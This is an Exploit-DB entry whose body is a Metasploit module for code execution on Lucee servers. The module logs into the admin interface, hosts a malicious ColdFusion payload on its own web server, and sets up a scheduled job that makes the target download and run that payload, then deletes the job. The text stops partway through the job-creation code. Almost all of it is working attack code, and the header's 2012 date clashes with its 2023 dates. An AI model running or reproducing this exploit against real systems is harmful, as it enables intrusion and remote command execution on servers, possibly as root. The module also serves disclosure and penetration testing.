Exploit-DB #51333
Description: Lucee Scheduled Job v1.0 -  Command Execution
Type: local
Platform: multiple
Date: 2023-04-08
Author: Alexander Philiotis

Exploit:
# Exploit Title: Lucee Scheduled Job v1.0 -  Command Execution
# Date: 3-23-2012
# Exploit Author: Alexander Philiotis
# Vendor Homepage: https://www.lucee.org/
# Software Link: https://download.lucee.org/
# Version: All versions with scheduled jobs enabled
# Tested on: Linux - Debian, Lubuntu & Windows 10
# Ref : https://www.synercomm.com/blog/scheduled-tasks-with-lucee-abusing-built-in-functionality-for-command-execution/

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Retry
  include Msf::Exploit::FileDropper
  require 'base64'

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Lucee Authenticated Scheduled Job Code Execution',
        'Description' => %q{
          This module can be used to execute a payload on Lucee servers that have an exposed
          administrative web interface. It's possible for an administrator to create a
          scheduled job that queries a remote ColdFusion file, which is then downloaded and executed
          when accessed. The payload is uploaded as a cfm file when queried by the target server. When executed,
          the payload will run as the user specified during the Lucee installation. On Windows, this is a service account;
          on Linux, it is either the root user or lucee.
        },
        'Targets' => [
          [
            'Windows Command',
            {
              'Platform' => 'win',
              'Arch' => ARCH_CMD,
              'Type' => :windows_cmd
            }
          ],
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd
            }
          ]
        ],
        'Author' => 'Alexander Philiotis', # aphiliotis@synercomm.com
        'License' => MSF_LICENSE,
        'References' => [
          # This abuses the functionality inherent to the Lucee platform and
          # thus is not related to any CVEs.

          # Lucee Docs
          ['URL', 'https://docs.lucee.org/'],

          # cfexecute & cfscript documentation
          ['URL', 'https://docs.lucee.org/reference/tags/execute.html'],
          ['URL', 'https://docs.lucee.org/reference/tags/script.html'],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            # /opt/lucee/server/lucee-server/context/logs/application.log
            # /opt/lucee/web/logs/exception.log
            IOC_IN_LOGS,
            ARTIFACTS_ON_DISK,
            # ColdFusion files located at the webroot of the Lucee server
            # C:/lucee/tomcat/webapps/ROOT/ by default on Windows
            # /opt/lucee/tomcat/webapps/ROOT/ by default on Linux
          ]
        },
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'DisclosureDate' => '2023-02-10'
      )
    )

    register_options(
      [
        Opt::RPORT(8888),
        OptString.new('PASSWORD', [false, 'The password for the administrative interface']),
        OptString.new('TARGETURI', [true, 'The path to the admin interface.', '/lucee/admin/web.cfm']),
        OptInt.new('PAYLOAD_DEPLOY_TIMEOUT', [false, 'Time in seconds to wait for access to the payload', 20]),
      ]
    )
    deregister_options('URIPATH')
  end

  def exploit
    payload_base = rand_text_alphanumeric(8..16)
    authenticate

    start_service({
      'Uri' => {
        'Proc' => proc do |cli, req|
          print_status("Payload request received for #{req.uri} from #{cli.peerhost}")
          send_response(cli, cfm_stub)
        end,
        'Path' => '/' + payload_base + '.cfm'
      }
    })

    #
    # Create the scheduled job
    #
    create_job(payload_base)

    #
    # Execute the scheduled job and attempt to send a GET request to it.
    #
    execute_job(payload_base)
    print_good('Exploit completed.')

    #
    # Removes the scheduled job
    #
    print_status('Removing scheduled job ' + payload_base)
    cleanup_request = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'vars_get' => {
        'action' => 'services.schedule'
      },
      'vars_post' => {
        'row_1' => '1',
        'name_1' => payload_base.to_s,
        'mainAction' => 'delete'
      }
    })
    if cleanup_request && cleanup_request.code == 302
      print_good('Scheduled job removed.')
    else
      print_bad('Failed to remove scheduled job.')
    end
  end

  def authenticate
    auth = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true,
      'vars_post' => {
        'login_passwordweb' => datastore['PASSWORD'],
        'lang' => 'en',
        'rememberMe' => 's',
        'submit' => 'submit'
      }
    })

    unless auth
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

    unless auth.code == 200 && auth.body.include?('nav_Security')
      fail_with(Failure::NoAccess, 'Unable to authenticate. Please double check your credentials and try again.')
    end

    print_good('Authenticated successfully')
  end

  def create_job(payload_base)
    create_job = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path),
      'keep_cookies' => true,
      'vars_get' => {
        'action' => 'services.schedule',
        'action2' => 'create'
      },
      'vars_post' => {
        'name' => payload_base,
        'url' => get_u